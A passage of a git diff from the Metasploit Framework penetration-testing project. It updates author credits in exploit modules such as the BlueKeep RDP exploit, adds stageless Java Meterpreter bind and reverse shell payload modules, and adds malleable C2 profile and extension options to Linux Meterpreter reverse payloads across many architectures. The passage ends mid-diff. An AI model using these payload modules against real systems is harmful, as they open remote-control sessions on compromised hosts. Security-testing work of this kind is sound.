on the STBN300 device. }, 'Author' => [ - 'OJ Reeves ' # Discovery and Metasploit module + 'OJ Reeves' # Discovery and Metasploit module ], 'References' => [ ['CVE', '2014-8684'], diff --git a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb index d5aedddd75508..76c22cb5ec8f9 100644 --- a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb +++ b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb @@ -84,9 +84,9 @@ def initialize(info = {}) pool base in kernel memory and set it as the GROOMBASE option. }, 'Author' => [ - 'Sean Dillon ', # @zerosum0x0 - Original exploit + 'Sean Dillon ', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit - 'OJ Reeves ', # @TheColonial - Metasploit module + 'OJ Reeves', # @TheColonial - Metasploit module 'Brent Cook ', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb new file mode 100644 index 0000000000000..2fc72decbcb90 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::BindTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Bind TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Bind TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::BindTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..547088a445554 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -0,0 +1,37 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..a61d00294c29c --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -0,0 +1,37 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttps + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTPS Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTPS. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttps, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000000..4043ef575c5c3 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) + end + + def generate_jar(opts = {}) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) + end +end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb index 515500ccad049..74fd1e8651d6f 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb index 525aae5649b31..726171f530137 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 0489aa0e91f7e..fe191ee250614 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'aarch64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb index d68a441ca8d2e..107452889b64f 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb index d62efaa7c8d90..f005e433536ad 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb @@ -31,11 +31,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb index 3c5b64a2c1197..294213a0295a9 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb @@ -31,11 +31,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5b-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb index 2f07f0263344b..efa6d82ded55a 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb index 01a15e099d56b..b9a596e53bc26 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index fe08105400165..1c9317ea82fc8 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_armle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'armv5l-linux-musleabi', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb index cd2b9b030a88c..68f47d2c4d7e4 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb index c51a456525951..b0a1d704a0778 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb index 35ec09b6e78e6..8d804e601a386 100644 --- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mips64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips64-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb index c6611bb201cd8..5e61ffa702d7d 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb index f06ded9a7566e..46e31694fb515 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb index 0b14e0410b50c..17ed0cb03fb65 100644 --- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mips-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb index 7baf9ae3130af..b032c080b8dec 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb index 3e71c5ad81993..e7cac7a773ac3 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb index 623101101f972..8fd0927da7368 100644 --- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_mipsle_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'mipsel-linux-muslsf', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb index e78b5a0f96b7d..21b08ae5910b7 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb index 54131decab2c6..b0a2f9cf3b058 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb index 072960555c151..abe8ba2b5b1c2 100644 --- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x64_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'x86_64-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb index 7efda64defbcc..3d4459b35accc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb index d8bdc12fe2cd6..3c8b69fbfd6cc 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb @@ -32,11 +32,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb index 005aa79785691..b17403e78b789 100644 --- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb @@ -32,11 +32,17 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_x86_Linux ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'tcp', + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 'i486-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb index 39b5f255c0b62..cba9106427d0b 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'http', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb index a4863f8f19c44..6d62c3c488dc8 100644 --- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb @@ -30,11 +30,19 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_zarch_Linux ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate(_opts = {}) opts = { scheme: 'https', + c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), + mettle_platform: 's390x-linux-musl', stageless: true }.merge(mettle_logging_config) payload = MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb index 45a237826ce41..c64bb462d217e 100644 